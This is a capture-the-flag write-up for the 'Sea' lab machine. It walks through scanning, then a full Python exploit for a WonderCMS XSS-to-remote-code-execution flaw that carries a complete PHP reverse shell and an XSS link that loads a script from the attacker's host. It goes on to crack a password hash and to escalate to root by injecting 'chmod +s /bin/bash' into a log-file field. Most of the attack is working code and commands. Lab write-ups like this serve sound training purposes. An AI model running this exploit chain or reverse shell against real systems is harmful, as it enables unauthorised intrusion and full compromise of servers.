Explore the fundamentals of cybersecurity in the Sea Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.

Add Hosts#

Edit the /etc/hosts file and add the following entries:

10.10.11.28 sea.htb

Script to add hosts automatically#

ip="10.10.11.28"
domain="sea.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV sea.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST
Nmap scan report for sea.htb (10.10.11.28)
Host is up (0.053s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://sea.htb
8080/tcp open  http       Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel

Enumeration#

ffuf -u http://sea.htb/FUZZ -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302,401,402,403

Result

index.php               [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 54ms]
contact.php             [Status: 200, Size: 2731, Words: 821, Lines: 119, Duration: 47ms]
.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.                       [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 46ms]
.html                   [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.php                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htpasswd               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms]
.htm                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htpasswds              [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.htgroup                [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
wp-forum.phps           [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htaccess.bak           [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htuser                 [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms]
.ht                     [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
.htc                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]
Copy of index.html      [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms]

CVE-2023-41425#

WonderCMS XSS to RCE

#!/bin/python
import os
import shutil
import zipfile
import argparse
import subprocess

red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
yellow = '\033[93m'
reset = '\033[0m'

def get_tun0_ip():
    """Fetch the tun0 IP address."""
    try:
        tun0_ip = subprocess.check_output("ip -4 addr show tun0 | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True)
        return tun0_ip.decode().strip()
    except subprocess.CalledProcessError:
        return None

def arguments():
    global args
    parser = argparse.ArgumentParser()
    parser.add_argument( '-u', '--url', required=True, help='Enter the URL where the WonderCMS loginURL is located. e.g.: http://example.com/loginURL' )
    parser.add_argument( '-i', '--ip', required=True, help='Attacker IP address. e.g.: -i 127.0.0.1' )
    parser.add_argument( '-p', '--port', required=True, help='Listening port. e.g.: -p 4444' )
    parser.add_argument( '-r', '--remote-host', default=None, help='Specify the remote host where the main.zip file containing the compressed reverse shell is hosted: e.g.: http://192.168.0.23:8000/main.zip' )
    args = parser.parse_args()
    if args.remote_host is None:
        tun0_ip = get_tun0_ip()
        if tun0_ip:
            args.remote_host = f"http://{tun0_ip}:8000/main.zip"
            print(f"[*] Using tun0 IP for remote host: {args.remote_host}")
        else:
            print("[!] tun0 IP address could not be determined. Please specify the remote host manually.")
            exit(1)
    

def createData( url, ip, port, remote_host ):
    data = f'''
var url = "{ url }";
if (url.endsWith("/")) {{
    url = url.slice(0, -1);
}}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlObj = new URL(urlWithoutLog);
var urlWithoutLogBase = urlObj.origin + '/'; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase + "/?installModule={ remote_host }&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {{
    if (xhr3.status == 200) {{
        var xhr4 = new XMLHttpRequest();
        xhr4.withCredentials = true;
        xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
        xhr4.send();
        xhr4.onload = function() {{
            if (xhr4.status == 200) {{
                var ip = "{ ip }";
                var port = "{ port }";
                var xhr5 = new XMLHttpRequest();
                xhr5.withCredentials = true;
                xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
                xhr5.send();
            }}
        }};
    }}
}};
'''
    return data

def createFileXSS( data ):
    try:
        with open( "xss.js", "w" ) as f:
            f.write( data )
    except:
        print('\n[!] An error occurred while trying to write the file!')

def createRevPHP():
    reverse_shell_code = '''<?php
set_time_limit(0);
$VERSION = "1.0";
$ip = '127.0.0.1';
$port = 1234;
if (isset($_GET['lhost']) && filter_var($_GET['lhost'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
    $ip = $_GET['lhost'];
}
if (isset($_GET['lport']) && (int)$_GET['lport'] > 0 && (int)$_GET['lport'] < 65536) {
    $port = (int)$_GET['lport'];
}
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit($string) {
    print "$string\n";
}
'''
    if os.path.exists('main.zip'):
        print(yellow,"\n[+] main.zip already exists. No further action required.", reset)
        return
    print(yellow,"\n[*] Creating 'revshell-main' directory and placing rev.php...", reset)
    os.makedirs('revshell-main', exist_ok=True)
    with open(os.path.join('revshell-main', 'rev.php'), 'w') as f:
        f.write(reverse_shell_code)
    print(yellow,"[+] revshell-main/rev.php created with reverse shell code.", reset)
    print(yellow,"[*] Compressing 'revshell-main' into 'main.zip'...", reset)
    with zipfile.ZipFile('main.zip', 'w') as zipf:
        for root, dirs, files in os.walk('revshell-main'):
            for file in files:
                zipf.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.dirname('revshell-main')))
    print(yellow,"[+] main.zip created successfully.", reset)
    print(yellow,"[*] Cleaning up 'revshell-main' directory...", reset)
    shutil.rmtree('revshell-main')
    print(yellow,"[+] Cleaned up 'revshell-main' directory.\n", reset)

def printInfo():
    print(yellow, "\n[+]The zip file will be downloaded from the host: ", reset, f" { args.remote_host }")
    print(yellow, "\n[+] File created:", reset,"xss.js")
    print(yellow, "\n[+] Set up nc to listen on your terminal for the reverse shell")    
    print("\tUse:\n\t\t", reset, red, f"nc -nvlp { args.port }", reset)
    link = str(args.url).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(args.ip)+":8000/xss.js\"></script><form+action=\""
    link = link.strip(" ")
    print(yellow, "\n[+] Send the below link to admin:\n\n", green + link, reset)
    print("\nStarting HTTP server with Python3, waiting for the XSS request")
    os.system("python3 -m http.server\n")

if __name__ == '__main__':
    try:
        arguments()
        createRevPHP()
        createFileXSS( createData( args.url, args.ip, args.port, args.remote_host ) )
        printInfo()
    finally:
        if os.path.exists('xss.js'):
            os.remove('xss.js')
            print(yellow,"\n[+] xss.js deleted.", reset)
        if os.path.exists('main.zip'):
            os.remove('main.zip')
            print(yellow,"\n[+] main.zip deleted.", reset)

Make the script executable and run it:

chmod +x 41425
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
./41425 -u http://sea.htb/loginURL -i $vpnip -p 9001

go in http://sea.htb/contact.php and post a request with website as the payload given by the exploit

wait until “GET /xss.js HTTP/1.1” 200 appear in the exploit

listener

nc -lvnp 9001

invoke the revshell

vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl "http://sea.htb/themes/revshell-main/rev.php?lhost=$vpnip&lport=9001"

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

stty size; stty raw -echo; fg

As the last step, set the terminal environment:

export TERM=xterm;

Looking into existing users we find amay and geo.

cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash

Looking for credentials in the web app files we found a database.js that contains a bcrypt hash.

cd /var/www/sea/data
cat database.js | grep password

The hash contains escape sequences like \/ that need to be replaced with /. This is done using sed 's/\\\//\//g'.

Brute Force the Hash#

Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.

echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 3200 /tmp/hash.txt --show
rm -rf /tmp/hash.txt

Now you can SSH:

ssh amay@sea.htb

Web Interface on Port 8080#

List local running services:

ss -tulpn

8080 has a service, so forward it to your machine:

ssh -L 1234:localhost:8080 amay@sea.htb

http://localhost:1234/

Log in as amay.

Just open the page in your browser and copy the token from the cookies.

Then, send the POST request to show the content of /root/root.txt and set the bash binary as SUID:

curl 'http://localhost:1234/' -X POST -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' --data-raw 'log_file='$(echo '/root/root.txt;chmod +s /bin/bash' | jq -sRr @uri)'&analyze_log=' | grep -oE '[a-f0-9]{32}'

This will display the flag.

ssh amay@sea.htb

After logging, you can run:

/bin/bash -p

And get a root shell.